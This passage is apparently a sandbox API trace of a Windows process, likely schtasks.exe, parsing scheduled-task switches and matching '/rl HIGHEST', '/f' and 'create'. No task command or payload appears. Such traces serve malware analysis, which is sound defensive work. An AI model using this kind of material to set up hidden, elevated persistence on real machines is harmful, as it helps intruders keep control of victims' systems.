(lpString="st") returned 2 [0164.806] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] lstrlenW (lpString="rl") returned 2 [0164.806] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.806] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|st|") returned 4 [0164.806] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.807] lstrlenW (lpString="|st|") returned 4 [0164.807] lstrlenW (lpString="|rl|") returned 4 [0164.807] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0164.807] SetLastError (dwErrCode=0x490) [0164.807] lstrlenW (lpString="sd") returned 2 [0164.807] lstrlenW (lpString="sd") returned 2 [0164.807] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] lstrlenW (lpString="rl") returned 2 [0164.807] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sd|") returned 4 [0164.807] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.807] lstrlenW (lpString="|sd|") returned 4 [0164.807] lstrlenW (lpString="|rl|") returned 4 [0164.807] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0164.807] SetLastError (dwErrCode=0x490) [0164.807] lstrlenW (lpString="ed") returned 2 [0164.807] lstrlenW (lpString="ed") returned 2 [0164.807] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] lstrlenW (lpString="rl") returned 2 [0164.807] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ed|") returned 4 [0164.807] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.807] lstrlenW (lpString="|ed|") returned 4 [0164.807] lstrlenW (lpString="|rl|") returned 4 [0164.807] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0164.807] SetLastError (dwErrCode=0x490) [0164.807] lstrlenW (lpString="it") returned 2 [0164.807] lstrlenW (lpString="it") returned 2 [0164.807] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] lstrlenW (lpString="rl") returned 2 [0164.807] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.807] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|it|") returned 4 [0164.808] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.808] lstrlenW (lpString="|it|") returned 4 [0164.808] lstrlenW (lpString="|rl|") returned 4 [0164.808] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0164.808] SetLastError (dwErrCode=0x490) [0164.808] lstrlenW (lpString="et") returned 2 [0164.808] lstrlenW (lpString="et") returned 2 [0164.808] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.808] lstrlenW (lpString="rl") returned 2 [0164.808] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.808] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|et|") returned 4 [0164.808] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.808] lstrlenW (lpString="|et|") returned 4 [0164.808] lstrlenW (lpString="|rl|") returned 4 [0164.808] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0164.808] SetLastError (dwErrCode=0x490) [0164.808] lstrlenW (lpString="k") returned 1 [0164.808] lstrlenW (lpString="k") returned 1 [0164.808] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.808] lstrlenW (lpString="rl") returned 2 [0164.808] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.808] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|k|") returned 3 [0164.808] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.808] lstrlenW (lpString="|k|") returned 3 [0164.808] lstrlenW (lpString="|rl|") returned 4 [0164.808] SetLastError (dwErrCode=0x490) [0164.808] lstrlenW (lpString="du") returned 2 [0164.808] lstrlenW (lpString="du") returned 2 [0164.808] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.808] lstrlenW (lpString="rl") returned 2 [0164.808] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|du|") returned 4 [0164.809] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.809] lstrlenW (lpString="|du|") returned 4 [0164.809] lstrlenW (lpString="|rl|") returned 4 [0164.809] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0164.809] SetLastError (dwErrCode=0x490) [0164.809] lstrlenW (lpString="ri") returned 2 [0164.809] lstrlenW (lpString="ri") returned 2 [0164.809] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] lstrlenW (lpString="rl") returned 2 [0164.809] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ri|") returned 4 [0164.809] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.809] lstrlenW (lpString="|ri|") returned 4 [0164.809] lstrlenW (lpString="|rl|") returned 4 [0164.809] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0164.809] SetLastError (dwErrCode=0x490) [0164.809] lstrlenW (lpString="z") returned 1 [0164.809] lstrlenW (lpString="z") returned 1 [0164.809] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] lstrlenW (lpString="rl") returned 2 [0164.809] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|z|") returned 3 [0164.809] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.809] lstrlenW (lpString="|z|") returned 3 [0164.809] lstrlenW (lpString="|rl|") returned 4 [0164.809] SetLastError (dwErrCode=0x490) [0164.809] lstrlenW (lpString="f") returned 1 [0164.809] lstrlenW (lpString="f") returned 1 [0164.809] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] lstrlenW (lpString="rl") returned 2 [0164.809] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.809] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.810] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.810] lstrlenW (lpString="|f|") returned 3 [0164.810] lstrlenW (lpString="|rl|") returned 4 [0164.810] SetLastError (dwErrCode=0x490) [0164.810] lstrlenW (lpString="v1") returned 2 [0164.810] lstrlenW (lpString="v1") returned 2 [0164.810] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] lstrlenW (lpString="rl") returned 2 [0164.810] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|v1|") returned 4 [0164.810] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.810] lstrlenW (lpString="|v1|") returned 4 [0164.810] lstrlenW (lpString="|rl|") returned 4 [0164.810] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0164.810] SetLastError (dwErrCode=0x490) [0164.810] lstrlenW (lpString="xml") returned 3 [0164.810] lstrlenW (lpString="xml") returned 3 [0164.810] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] lstrlenW (lpString="rl") returned 2 [0164.810] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|xml|") returned 5 [0164.810] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.810] lstrlenW (lpString="|xml|") returned 5 [0164.810] lstrlenW (lpString="|rl|") returned 4 [0164.810] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0164.810] SetLastError (dwErrCode=0x490) [0164.810] lstrlenW (lpString="ec") returned 2 [0164.810] lstrlenW (lpString="ec") returned 2 [0164.810] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] lstrlenW (lpString="rl") returned 2 [0164.810] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.810] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ec|") returned 4 [0164.810] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.811] lstrlenW (lpString="|ec|") returned 4 [0164.811] lstrlenW (lpString="|rl|") returned 4 [0164.811] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0164.811] SetLastError (dwErrCode=0x490) [0164.811] lstrlenW (lpString="rl") returned 2 [0164.811] lstrlenW (lpString="rl") returned 2 [0164.811] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.811] lstrlenW (lpString="rl") returned 2 [0164.811] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.811] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.811] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rl|") returned 4 [0164.811] lstrlenW (lpString="|rl|") returned 4 [0164.811] lstrlenW (lpString="|rl|") returned 4 [0164.811] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0164.811] SetLastError (dwErrCode=0x0) [0164.811] SetLastError (dwErrCode=0x0) [0164.811] lstrlenW (lpString="HIGHEST") returned 7 [0164.811] lstrlenW (lpString="-/") returned 2 [0164.811] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0164.811] SetLastError (dwErrCode=0x490) [0164.811] SetLastError (dwErrCode=0x490) [0164.811] SetLastError (dwErrCode=0x0) [0164.811] lstrlenW (lpString="HIGHEST") returned 7 [0164.811] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0164.811] SetLastError (dwErrCode=0x490) [0164.811] SetLastError (dwErrCode=0x0) [0164.811] _memicmp (_Buf1=0x23d4c0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.811] lstrlenW (lpString="HIGHEST") returned 7 [0164.811] lstrlenW (lpString="HIGHEST") returned 7 [0164.811] lstrlenW (lpString=" \x09") returned 2 [0164.811] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0164.811] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0164.811] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0164.811] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0164.811] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0164.812] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0164.812] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0164.812] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0164.812] GetLastError () returned 0x0 [0164.812] lstrlenW (lpString="HIGHEST") returned 7 [0164.812] lstrlenW (lpString="HIGHEST") returned 7 [0164.812] SetLastError (dwErrCode=0x0) [0164.812] SetLastError (dwErrCode=0x0) [0164.812] lstrlenW (lpString="/f") returned 2 [0164.812] lstrlenW (lpString="-/") returned 2 [0164.812] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.812] lstrlenW (lpString="create") returned 6 [0164.812] lstrlenW (lpString="create") returned 6 [0164.812] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.812] lstrlenW (lpString="f") returned 1 [0164.812] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.812] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|create|") returned 8 [0164.812] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.812] lstrlenW (lpString="|create|") returned 8 [0164.812] lstrlenW (lpString="|f|") returned 3 [0164.812] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0164.812] SetLastError (dwErrCode=0x490) [0164.812] lstrlenW (lpString="?") returned 1 [0164.812] lstrlenW (lpString="?") returned 1 [0164.812] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.812] lstrlenW (lpString="f") returned 1 [0164.812] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.812] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|?|") returned 3 [0164.812] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.812] lstrlenW (lpString="|?|") returned 3 [0164.812] lstrlenW (lpString="|f|") returned 3 [0164.812] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0164.812] SetLastError (dwErrCode=0x490) [0164.812] lstrlenW (lpString="s") returned 1 [0164.813] lstrlenW (lpString="s") returned 1 [0164.813] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] lstrlenW (lpString="f") returned 1 [0164.813] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|s|") returned 3 [0164.813] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.813] lstrlenW (lpString="|s|") returned 3 [0164.813] lstrlenW (lpString="|f|") returned 3 [0164.813] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0164.813] SetLastError (dwErrCode=0x490) [0164.813] lstrlenW (lpString="u") returned 1 [0164.813] lstrlenW (lpString="u") returned 1 [0164.813] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] lstrlenW (lpString="f") returned 1 [0164.813] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|u|") returned 3 [0164.813] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.813] lstrlenW (lpString="|u|") returned 3 [0164.813] lstrlenW (lpString="|f|") returned 3 [0164.813] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0164.813] SetLastError (dwErrCode=0x490) [0164.813] lstrlenW (lpString="p") returned 1 [0164.813] lstrlenW (lpString="p") returned 1 [0164.813] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] lstrlenW (lpString="f") returned 1 [0164.813] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.813] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|p|") returned 3 [0164.813] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.813] lstrlenW (lpString="|p|") returned 3 [0164.813] lstrlenW (lpString="|f|") returned 3 [0164.813] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0164.813] SetLastError (dwErrCode=0x490) [0164.813] lstrlenW (lpString="ru") returned 2 [0164.814] lstrlenW (lpString="ru") returned 2 [0164.814] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] lstrlenW (lpString="f") returned 1 [0164.814] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ru|") returned 4 [0164.814] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.814] lstrlenW (lpString="|ru|") returned 4 [0164.814] lstrlenW (lpString="|f|") returned 3 [0164.814] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0164.814] SetLastError (dwErrCode=0x490) [0164.814] lstrlenW (lpString="rp") returned 2 [0164.814] lstrlenW (lpString="rp") returned 2 [0164.814] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] lstrlenW (lpString="f") returned 1 [0164.814] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|rp|") returned 4 [0164.814] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.814] lstrlenW (lpString="|rp|") returned 4 [0164.814] lstrlenW (lpString="|f|") returned 3 [0164.814] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0164.814] SetLastError (dwErrCode=0x490) [0164.814] lstrlenW (lpString="sc") returned 2 [0164.814] lstrlenW (lpString="sc") returned 2 [0164.814] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] lstrlenW (lpString="f") returned 1 [0164.814] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.814] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sc|") returned 4 [0164.814] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.814] lstrlenW (lpString="|sc|") returned 4 [0164.814] lstrlenW (lpString="|f|") returned 3 [0164.814] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0164.814] SetLastError (dwErrCode=0x490) [0164.814] lstrlenW (lpString="mo") returned 2 [0164.815] lstrlenW (lpString="mo") returned 2 [0164.815] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] lstrlenW (lpString="f") returned 1 [0164.815] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|mo|") returned 4 [0164.815] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.815] lstrlenW (lpString="|mo|") returned 4 [0164.815] lstrlenW (lpString="|f|") returned 3 [0164.815] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0164.815] SetLastError (dwErrCode=0x490) [0164.815] lstrlenW (lpString="d") returned 1 [0164.815] lstrlenW (lpString="d") returned 1 [0164.815] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] lstrlenW (lpString="f") returned 1 [0164.815] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|d|") returned 3 [0164.815] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.815] lstrlenW (lpString="|d|") returned 3 [0164.815] lstrlenW (lpString="|f|") returned 3 [0164.815] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0164.815] SetLastError (dwErrCode=0x490) [0164.815] lstrlenW (lpString="m") returned 1 [0164.815] lstrlenW (lpString="m") returned 1 [0164.815] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] lstrlenW (lpString="f") returned 1 [0164.815] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.815] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|m|") returned 3 [0164.815] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.815] lstrlenW (lpString="|m|") returned 3 [0164.815] lstrlenW (lpString="|f|") returned 3 [0164.815] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0164.816] SetLastError (dwErrCode=0x490) [0164.816] lstrlenW (lpString="i") returned 1 [0164.816] lstrlenW (lpString="i") returned 1 [0164.816] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] lstrlenW (lpString="f") returned 1 [0164.816] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|i|") returned 3 [0164.816] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.816] lstrlenW (lpString="|i|") returned 3 [0164.816] lstrlenW (lpString="|f|") returned 3 [0164.816] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0164.816] SetLastError (dwErrCode=0x490) [0164.816] lstrlenW (lpString="tn") returned 2 [0164.816] lstrlenW (lpString="tn") returned 2 [0164.816] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] lstrlenW (lpString="f") returned 1 [0164.816] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tn|") returned 4 [0164.816] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.816] lstrlenW (lpString="|tn|") returned 4 [0164.816] lstrlenW (lpString="|f|") returned 3 [0164.816] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0164.816] SetLastError (dwErrCode=0x490) [0164.816] lstrlenW (lpString="tr") returned 2 [0164.816] lstrlenW (lpString="tr") returned 2 [0164.816] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] lstrlenW (lpString="f") returned 1 [0164.816] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.816] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|tr|") returned 4 [0164.816] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.816] lstrlenW (lpString="|tr|") returned 4 [0164.817] lstrlenW (lpString="|f|") returned 3 [0164.817] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0164.817] SetLastError (dwErrCode=0x490) [0164.817] lstrlenW (lpString="st") returned 2 [0164.817] lstrlenW (lpString="st") returned 2 [0164.817] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] lstrlenW (lpString="f") returned 1 [0164.817] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|st|") returned 4 [0164.817] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.817] lstrlenW (lpString="|st|") returned 4 [0164.817] lstrlenW (lpString="|f|") returned 3 [0164.817] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0164.817] SetLastError (dwErrCode=0x490) [0164.817] lstrlenW (lpString="sd") returned 2 [0164.817] lstrlenW (lpString="sd") returned 2 [0164.817] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] lstrlenW (lpString="f") returned 1 [0164.817] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|sd|") returned 4 [0164.817] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.817] lstrlenW (lpString="|sd|") returned 4 [0164.817] lstrlenW (lpString="|f|") returned 3 [0164.817] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0164.817] SetLastError (dwErrCode=0x490) [0164.817] lstrlenW (lpString="ed") returned 2 [0164.817] lstrlenW (lpString="ed") returned 2 [0164.817] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] lstrlenW (lpString="f") returned 1 [0164.817] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.817] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|ed|") returned 4 [0164.818] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc8c8 | out: _Buffer="|f|") returned 3 [0164.818] lstrlenW (lpString="|ed|") returned 4 [0164.818] lstrlenW (lpString="|f|") returned 3 [0164.818] StrStrIW (lpFirst="|ed|", lpSrch="|f|") 